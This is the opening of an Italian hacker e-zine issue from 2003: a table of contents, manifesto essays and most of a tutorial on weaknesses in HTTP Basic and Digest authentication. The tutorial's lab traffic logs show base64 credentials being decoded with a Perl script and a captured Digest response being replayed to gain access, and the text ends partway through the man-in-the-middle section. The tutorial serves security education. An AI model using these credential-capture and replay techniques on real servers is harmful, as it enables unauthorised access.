Copy Link
Add to Bookmark
Report
OndaQuadra 09
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.:
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .:::::::. :@@@@@@: , s@@@@@s :
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: ,@@@r @@@G H@@@, s@@@:
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. 2@@# :@@# @@@2 #@@:
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, .@@@ ,. 9@@M 9@@# A@@@:
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:,.#@@: ,, @@@; 2@@@@S@@@@@A:
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ : i@@H .;Ss,;@@h :
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# . 9@@@ ,
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 .,, X@@@ ,:
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 ,.@@@@@@M .:::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+--------------------------------------------------------------------------+
| ONDAQUADRA #09 - 01/06/2003 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 PiRATi, RiBELLi E DANDY ................................ [oq~staff] |
| 0x02 GURU MEDiTATi0N: FiLE N0T F0UND ....................... [Tritemius] |
| 0x03 ViSi0NARi .............................................. [oq~staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x04 PASSW0RD iN CHiAR0, AMiCiZiA LUNGA ......................... [eazy] |
| 0x05 SYMB0LiC LiNK VULNERABiLiTiES ..................... [Master^Shadow] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x06 LE RETi ..................................................... [Spy] |
| 0x07 iNTR0DUZi0NE ALLE RETi ..................................... [l1l0] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x08 I0, LiNUX ED UNA WEBCAM ..................................... [ink] |
| 0x09 PATCH ?!? MA Si MANGiAN0? ................................. [spyro] |
| 0x0A PKGT00L E SLACKWARE PACKAGES .............................. [spyro] |
| 0x0B LiRC .................................................. [BrNoCrIsT] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C PLUS #3 .................................................. [Mastro] |
| 0x0D QUERY GUESSiNG ............................................. [eazy] |
| 0x0E PR0MEM0RiA iN VB ........................................... [Pupi] |
| 0x0F MATRiX ..................................................... [Pupi] |
| 0x10 CREARE UNA DLL iN C PER ViSUAL BASiC .................. [cyberdude] |
| 0x11 iNTERNET APPLiCATI0N iN DELPHi ........................ [cyberdude] |
| 0x12 00P ..................................................... [warfare] |
| 0x13 C0S'E' SGML ?? PARLiAM0NE UN P0' ...................... [cyberdude] |
+--------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x14 SCRiVERE UN EXPL0iT DiM0STRATiV0 ................. [Auriemma Luigi] |
| 0x15 BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA ....... [Auriemma Luigi] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x16 CHARGER HACKiNG ........................................... [bondo] |
| 0x17 GUARDA GUARDA CHE Ti LEGG0 iL W0RD ....................... [Dagart] |
+--------------------------------------------------------------------------+
| [L0 SCiAMAN0] |
| 0x18 TRA RETE & REALTA' ......................................... [Pupi] |
| 0x19 SCLER0 Di UN P0MERiGGi0 QUALUNQUE .......................... [Pupi] |
| 0x1A #W0NDERLAND ........................................... [MinDBlinD] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1B C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 6 ..... [Zer0] |
| 0x1C 0VERCL0CK ESTREM0 Di UN ATHL0N XP ........................... [DJK] |
| 0x1D CRYPT0APi iN DELPHi? MA CHE S0N0? ..................... [cyberdude] |
| 0x1E BL0WCHAT - UNA CHAT CRiTTATA iN DELPHi .................. [Ippatsu] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x1F iLLUSi0Ni ................................................... [rAn] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x20 D0VE TR0VARCi .......................................... [oq~staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 QUERY.TXT .............................................. [oq~staff] |
| 0x02 BLOWCHAT.ZIP ........................................... [oq~staff] |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| PiRATi, RiBELLi E DANDY [oq~staff] 0x01/0x20 |
+--------------------------------------------------------------------------+
| |
| A molti di voi non sara' sfuggita l'accelerezione che ha subito il |
| processo di banalizzazione della figura dell'hacking negli ultimi mesi. |
| Banalizzazione dovuta alla massificazione della Rete prima e |
| dell'hacking stesso poi. |
| Le librerie sono ormai colme di libri su cui campeggia la |
| scritta "hacker"; per non parlare delle edicole, sempre piu' |
| traboccanti di riviste piu' o meno interessanti dedicate all'argomento. |
| Non si tratta solo della stampa specializzata. Su quasi tutti i numeri |
| di tutte le riviste di informatica, di novita' tecnologiche, di |
| costume, si possono trovare articoli che trattano di sicurezza (questo |
| e' il travestimento dell'hacking presso i benpensanti). |
| E l'habitat naturale dell'hacker, Internet ? Stessa sorte. E' un |
| moltiplicarsi di ezine, siti, mailing-list. Tutti, ma proprio tutti, |
| parlano di hacking. |
| Anzi, l'hacking e' diventato facile! Due click e lo ZoneAlarm e' |
| installato, quindi sono un hacker ! Ho scoperto il traceroute, ho |
| installato Linux, ho la maglietta col pinguino: sono un hacker ! |
| A che serve oggi una ezine, una crew, un sito di hacking se tutte le |
| informazioni, le attivita' che una volta si potevano trovare solo su |
| Internet possono facilmente essere reperite ovunque, in qualsiasi |
| edicola ? |
| Alla base del problema vi e' un fraintendimento della figura |
| dell'hacker; gli appartenenti stessi all'eterogeneo mondo hackersco |
| sono caduti nella trappola ed hanno via via rinunciato alle |
| caratteristiche fondamentali dell'hacking per diventare i docili |
| cagnolini massificati dell'era digitale. |
| Fin dall'inizio la cultura hacker si contraddistinguo per alcune |
| caratteristiche: |
| L'amore per le conoscenze "proibite" e l'estetica del linguaggio. |
| Inutile negarlo: tutti quelli che in un modo o nell'altro sono stati |
| affascinati dall'hacking sono stati attratti dalla possibilita' di fare |
| cose proibite o di avere accesso a informazioni proibite. |
| Quindi le crew di hacker (pirati) si formano spinti dalla ricerca del |
| proibito e creano un linguaggio che li distingue; un linguaggio |
| tecnichese ma non pedante o accademico. |
| Nelle stesse ezine delle origini (pensiamo a phrack), l'aspetto |
| interessante non era la qualita' o il grado di "innovazione" delle |
| informazioni pubblicate, quanto il linguaggio utilizzato; questo |
| aspetto viene mostrato con efficacia da Bruce Sterling nel libro "Giro |
| di vite contro gli hackers". |
| L'hacker deve quindi tornare alla sua cultura, alla cultura del proibito |
| supportata da una buona dose di estetismo. |
| Torniamo a Prometeo passando per Oscar Wilde. Siamo pirati: pirati, |
| ribelli e dandy. |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| GURU MEDiTATi0N: FiLE N0T F0UND [Tritemius] 0x02/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Se fino a qualche anno fa Internet poteva essere definita un'Interzona |
| oggi non e' piu' possibile. |
| La Rete e' presa d'assalto dalle orde capitalistiche, dagli spammatori, |
| dai signori dei dialers. |
| Internet, la nuova terra da colonizzare e' stata infine catturata. Il |
| controllo e' sempre piu' forte; la massificazione ha fatto il resto. Di |
| fatto l'assorbimento di Internet da parte del conformismo, del |
| mainstream, da quelli che benpensano e' piu' un atto di imperialismo |
| psichico che di controllo tecnico effettivo. |
| Prima ancora che dai Carnivore, dagli Echelon, dai Sorm vari, l'attacco |
| e' stato sferrato in modo subliminale dai meccanismi di persuasione |
| occulta. Hollywood e i suoi derivati sono ancora le portaerei piu' |
| temibili. |
| Il Leviatano ha proiettato, tramite i suoi meccanismi di propaganda e |
| ipnosi, la sua visione della Rete nelle coscienze dei cittadini; anzi, |
| degli spettatori in quanto oggi i cittadini del moderno occidente non |
| sono piu' tali, bensi' spettatori di una rappresentazione, uno |
| spettacolo. |
| Dietro allo sfavillante colossal del potere economico, finanziario |
| e bellico si nasconde il Nulla. |
| L'imperialismo psichico agisce prima sulla coscienza e di conseguenza |
| nella realta'. |
| La proiezione del Leviatano e' una mappa, una convenzione usata per |
| esercitare controllo; ma come e' noto la mappa non e' il territorio. |
| E se il territorio e' molto diverso dalla mappa, allora possiamo |
| pensare di utilizzare Internet come infrastruttura di una Controrete. |
| Possiamo infiltrarci negli spazi lasciati liberi dalla mappa psichica e |
| instaurare le nostre Utopie Pirata. La nostra battaglia sara' quindi |
| una "scomparsa". |
| Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo, |
| tatticamente diverremo il Vuoto. Saremo degli spiriti nel |
| sistema; "file not found" ringhiera' il Leviatano alla nostra |
| ricerca incapace di trovarci; ma noi saremo li', come virus travestiti |
| da alternate data streams ! |
| Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo. |
| I nostri nemici non potranno far altro che rincorrere i fantasmi, |
| rincorrere il Vento finche' non riusciranno a ridefinire il nemico e ad |
| aggiornare la mappa. |
| Ma sara' troppo tardi: ci saremo gia' mossi verso un nuovo nascondiglio |
| indefinibile e saremo di nuovo inafferrabili. |
| Il Meraviglioso ci attende. |
| |
| ("TAZ: Zone Temporaneamente Autonome", Hakim Bey, edizioni Shake). |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| ViSi0NARi [oq~staff] 0x03/0x20 |
+--------------------------------------------------------------------------+
| "Anche il Vuoto possiede un ritmo" |
| (Miyamoto Musashi) |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 |
| PASSW0RD iN CHiAR0, AMiCiZiA LUNGA [eazy] 0x04/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| 1. Premessa |
| |
| 2. Tipi di Autenticazione |
| |
| 3. Basic Authentication |
| 3.1 Decode Base64 |
| |
| 4. Digest Authentication |
| 4.1 Replay Attack |
| 4.2 MITM Attack |
| 4.3 Brute Force Attack |
| 4.4 Implementazione |
| |
| |
| |
| |
| 1. Premessa |
| |
| Uno schema di autenticazione forte rappresenta un elemento essenziale |
| per la sicurezza del sistema, negli ultimi anni sono stati fatti grossi |
| passi in avanti grazie all'introduzione di servizi che permettono la |
| criptazione delle credenziali di accesso dell'utente. |
| Tuttavia molti servizi a rischio tardano spesso ad essere rimpiazzati |
| con una versione sicura che implementi la crittografia della sessione |
| esponendo in tal modo il sistema ad accessi non autorizzati. |
| |
| Il presente documento intende fornire al lettore una panoramica delle |
| principali vulnerabilità legate all'utilizzo di uno schema di |
| autenticazione debole per quanto riguarda il protocollo HTTP. |
| |
| |
| 2. Tipi di autenticazione |
| |
| Al fine di fornire un accesso autenticato ad una risorsa raggiungibile |
| tramite HTTP possiamo avvalerci di diversi sistemi a seconda delle |
| nostre esigenze, come vedremo in seguito alcuni di essi si riveleranno |
| al quanto insicuri. |
| I sistemi di autenticazione HTTP che hanno visto una maggiore diffusione |
| sono principalmente due e sono presentati nel corso di questo testo in |
| ordine crescente in base al livello di sicurezza che sono in grado di |
| offrire: |
| |
| 1) Basic Authentication |
| schema di autenticazione debole, il nome utente e la password vengono |
| inviate in rete codificate in base64; |
| |
| 2) Digest Authentication |
| viene trasmesso in rete l'hash del nome utente e la password, un |
| meccanismo di challange/response previene la possibilità di replay |
| attack; |
| |
| Nei prossimi capitoli i due schemi di autenticazione verranno analizzati |
| separatamente e verranno sollevate le dovute considerazioni inerenti la |
| sicurezza degli stessi. |
| |
| |
| 3. Basic Authentication |
| |
| Lo schema di autenticazione basic prevede che le credenziali dell'utente |
| vengano inviate in rete codificate in base64, questo equivale a tutti |
| gli effetti a trasmettere nome utente e password in chiaro con le ovvie |
| conseguenze del caso. |
| |
| Nel momento in cui il client richiede tramite una GET una pagina |
| protetta da una basic authentication... |
| |
| |
| 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| |
| |
| ...il server gli risponde con un messaggio 401 Authorization Required |
| per mezzo del quale gli richiede di autenticarsi per accedere a tale |
| risorsa. Nell'header HTTP di tale messaggio compare la voce |
| WWW-Authenticate che specifica lo schema di autenticazione da adottarsi |
| e il realm al quale appartiene la risorsa di cui si sta facendo |
| richiesta... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Basic realm="Login". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client ripete la GET precedente fornendo questa volta le proprie |
| credenziali che vengono inoltrate per mezzo della voce Authorization |
| che compare nell'header... |
| |
| |
| 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| Authorization: Basic cGlwcG86cGlwcG8=. |
| |
| |
| ...il valore del campo Authorization specifica rispettivamente lo schema |
| adottato e le credenziali dell'utente codificate in base64. |
| |
| |
| 3.1 Decode Base64 |
| |
| Il valore codificato in base64 può essere decodificato applicando la |
| relativa funzione di decodifica, allego qui di seguito un semplice |
| script in Perl, scritto da un certo Dragon, che assolve egregiamente |
| tale funzione: |
| |
| ---------------- decode_base64.pl ---------------- |
| |
| # /usr/bin/perl |
| # author: Dragon - dragon@securityassoc.com |
| # simple perl script to convert Base64 to clear-text |
| # Many weak security mechanisms as well as transport protocols |
| # rely on base64 encoding scheme. |
| # Examples : HTTP basic authentication, SMTP base64 attachments |
| |
| use MIME::Base64; |
| |
| print " \n"; |
| print " Author: The Singapore Dragon - dragon\@securityassoc.com\n"; |
| print " Web: www.securityassoc.com\n\n"; |
| print " Usage decode_base64.pl [encoded-text] \n"; |
| print " \n"; |
| |
| my $encoded = shift; |
| $decode = decode_base64($encoded); |
| print " The decoded data is: $decode\n"; |
| |
| ---------------- decode_base64.pl ---------------- |
| |
| |
| Possiamo in questo modo applicare la funzione di decodifica al valore in |
| base64 esaminato utilizzando lo script decode_base64.pl: |
| |
| # perl decode_base64.pl cGlwcG86cGlwcG8= |
| |
| Author: The Singapore Dragon - dragon@securityassoc.com |
| Web: www.securityassoc.com |
| |
| Usage decode_base64.pl [encoded-text] |
| |
| The decoded data is: pippo:pippo |
| |
| |
| Un utente malizioso che sia venuto in possesso delle nostre credenziali |
| può in questo modo ottenere un accesso non autorizzato all'intero realm. |
| |
| |
| 4. Digest Authentication |
| |
| L'intento della digest authentication è quello di offrire uno schema di |
| autenticazione alternativo alla basic authentication in grado di |
| sopperire, almeno in parte, alle gravi mancanze da esso dimostrate. |
| Nel corso dell'articolo ci addentreremo nell'analisi dell' |
| implementazione fornita dal modulo mod_digest.c che viene caricato di |
| default dalla release apache-1.3.27, la più recente disponibile al |
| momento per quanto riguarda la serie 1.3.x. |
| |
| Grazie allo schema digest le credenziali dell'utente non vengono mai |
| mandate in chiaro, bensì viene inviato un hash (response) di tali |
| valori. Al momento della connessione il client richiede una risorsa |
| protetta tramite una GET... |
| |
| |
| 11:34:22 192.168.1.5:32775 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| |
| |
| ...come per la basic il server gli risponde con un messaggio 401 |
| Authorization Required per mezzo del quale gli richiede di autenticarsi |
| per accedere a tale risorsa. Alla voce WWW-Authenticate è indicato lo |
| schema di autenticazione da adottarsi unitamente al realm e al nonce... |
| |
| |
| 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 10:34:22 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client ripete la GET fornendo le credenziali necessarie per |
| garantirsi l'accesso alla risorsa, tali credenziali sono rappresentate |
| in particolar modo dal valore del campo response... |
| |
| |
| 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044354862", uri="/login/", algorithm="MD5", |
| response="f39e7e7e63adffc9d7a06e9c0ce68d03". |
| |
| |
| Il valore del response viene calcolato dando in pasto all'algoritmo MD5 |
| una serie di parametri (concatenati per mezzo di ":") che rappresentano |
| le credenziali e la richiesta avanzata dal client per una data risorsa: |
| username, realm, password, nonce, method e request URI. |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| Dal valore dell'hash non è possibile risalire alle credenziali dell' |
| utente per la natura stessa dell'algoritmo MD5. |
| Segue una breve descrizione dei parametri che prendono parte alla |
| generazione dell'hash di response da parte del client: |
| |
| username: rappresenta il nome dell'utente che richiede l'autenticazione |
| per l'accesso ad una certa risorsa; |
| |
| passwd: la password di accesso al realm per un dato username; |
| |
| nonce: un challenge inviato dal server per introdurre variabilità nella |
| generazione del response da parte del client e impedire il riutilizzo |
| dello stesso response per accessi successivi in modo tale da prevenire |
| replay attack; |
| |
| method: il metodo HTTP riferito alla risorsa specificata dal request |
| URI, impedisce che lo stesso response posso essere utilizzato per |
| riferire una risorsa con due o più metodi HTTP differenti; |
| |
| request URI: la risorsa a cui si desidera ottenere accesso, impedisce |
| che lo stesso response possa essere utilizzato per accedere a risorse |
| differenti all'interno del realm; |
| |
| La funzione di ciascuno di tali parametri nella generazione dell'hash di |
| response verrà meglio chiarita nel corso dell'articolo, è bene tener |
| presente che ognuno di essi svolge un ruolo fondamentale per assicurare |
| una certa robustezza allo schema di autenticazione nel suo complesso. |
| |
| Il server mantiene in locale un database relativo alle credenziali degli |
| utenti per ogni realm, ogni entry di tale file è composta dall'hash MD5 |
| di username, realm e password, ovvero: |
| |
| MD5(username:realm:passwd) |
| |
| In questo modo il server è messo nelle condizioni di poter calcolare |
| dinamicamente il response corretto al variare dei valori relativi a |
| nonce, method e request URI. |
| Il response calcolato dinamicamente dal server viene confrontato con |
| quello ricevuto di volta in volta dal client, se questi corrispondono |
| viene consentito l'accesso alla risorsa protetta. |
| |
| |
| 4.1 Replay Attack |
| |
| Un replay attack consiste nel riutilizzo di uno stesso response per |
| ottenere accessi successivi ad una certa risorsa. |
| Facciamo il caso di un ipotetico schema di autenticazione che preveda la |
| generazione di un response secondo il seguente algoritmo: |
| |
| response = MD5(username:realm:passwd) |
| |
| Le credenziali non vengono trasmesse in chiaro, ma un utente malizioso |
| che dovesse venire in possesso semplicemente dell'hash da esse ottenuto |
| si garantirebbe un accesso duraturo al sistema pur non conoscendo ne |
| l'username ne la password. Esso potrebbe, infatti, limitarsi a replicare |
| il response precedentemente catturato che rappresenta la sola risorsa |
| necessaria perchè l'autenticazione abbia successo. |
| |
| Per ovviare a tale problema entra in gioco il nonce, il cui valore viene |
| generato di volta in volta dal server allo scopo di invalidare un |
| response precedentemente utilizzato e impedirne così la ripetizione: |
| |
| response = MD5(MD5(username:realm:passwd):nonce) |
| |
| Tuttavia l'utilizzo di un nonce differente per ogni richiesta ha una |
| grossa ricaduta sulle prestazioni a causa della totale impossibilità di |
| gestire richieste in parallelo. |
| Questo ha portato a una soluzione che rappresenta un compromesso tra |
| prestazioni e sicurezza e si compone dei seguenti punti: |
| |
| 1) introduzione di un tempo massimo di validità entro il quale il nonce |
| può essere riutilizzato: |
| |
| nonce = time-stamp H(time-stamp) |
| |
| 2) utilizzo dell'IP del client nella generazione del nonce al fine di |
| limitare il riutilizzo dello stesso da parte dell'host legittimo: |
| |
| nonce = time-stamp H(time-stamp ":" IP) |
| |
| 3) aggiunta dei campi method e request URI per circoscrivere la |
| ripetibilità del response ad una risorsa precisa: |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| |
| Purtroppo l'implementazione offerta da mod_digest.c non si è rivelata |
| sufficientemente restrittiva e aderente alle linee descritte dall'RFC |
| 2617 da impedire del tutto la possibilità di replay attack su una |
| risorsa: |
| |
| |
| 16:26:28 192.168.1.4:80 --> 192.168.1.5:32768 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 15:26:28 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044372388". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| // Accesso legittimo |
| |
| 16:26:33 192.168.1.5:32769 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044372388", uri="/login/", algorithm="MD5", |
| response="df7307fddc38e8d63dee5e60cf56cbf8". |
| |
| |
| 16:26:33 192.168.1.4:80 --> 192.168.1.5:32769 |
| |
| HTTP/1.1 200 OK. |
| Date: Tue, 04 Feb 2003 15:26:33 GMT. |
| Server: Apache/1.3.20 (Unix). |
| Transfer-Encoding: chunked. |
| Content-Type: text/html. |
| |
| |
| // Accesso tramite replay attack, a circa 30 secondi dall'accesso |
| // precedente, stesso nonce e stesso response da un diverso IP |
| |
| 16:27:08 192.168.1.6:32774 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Pragma: no-cache. |
| Cache-control: no-cache. |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044372388", uri="/login/", algorithm="MD5", |
| response="df7307fddc38e8d63dee5e60cf56cbf8". |
| |
| |
| 16:27:08 192.168.1.4:80 --> 192.168.1.6:32774 |
| |
| HTTP/1.1 200 OK. |
| Date: Tue, 04 Feb 2003 15:27:08 GMT. |
| Server: Apache/1.3.20 (Unix). |
| Transfer-Encoding: chunked. |
| Content-Type: text/html. |
| |
| |
| Un'implementazione molto più robusta della digest authentication viene |
| fornita dal modulo mod_auth_digest.c che viene ritenuto ancora in fase |
| sperimentale ma che si rivela molto più efficace nel prevenire la |
| possibilità di replay attack. Come vedremo in seguito tale schema non è |
| tuttavia sufficiente per contrastare attacchi avanzati quali man in the |
| middle o attacchi basati sulla crittoanalisi. |
| |
| |
| 4.2 MITM Attack |
| |
| Un attacco man-in-the-middle (MITM) consente, ad un host estraneo alla |
| procedura di autenticazione, di sostituirsi ad uno o ad entrambi i capi |
| della comunicazione. Più precisamente, attraverso un MITM un utente |
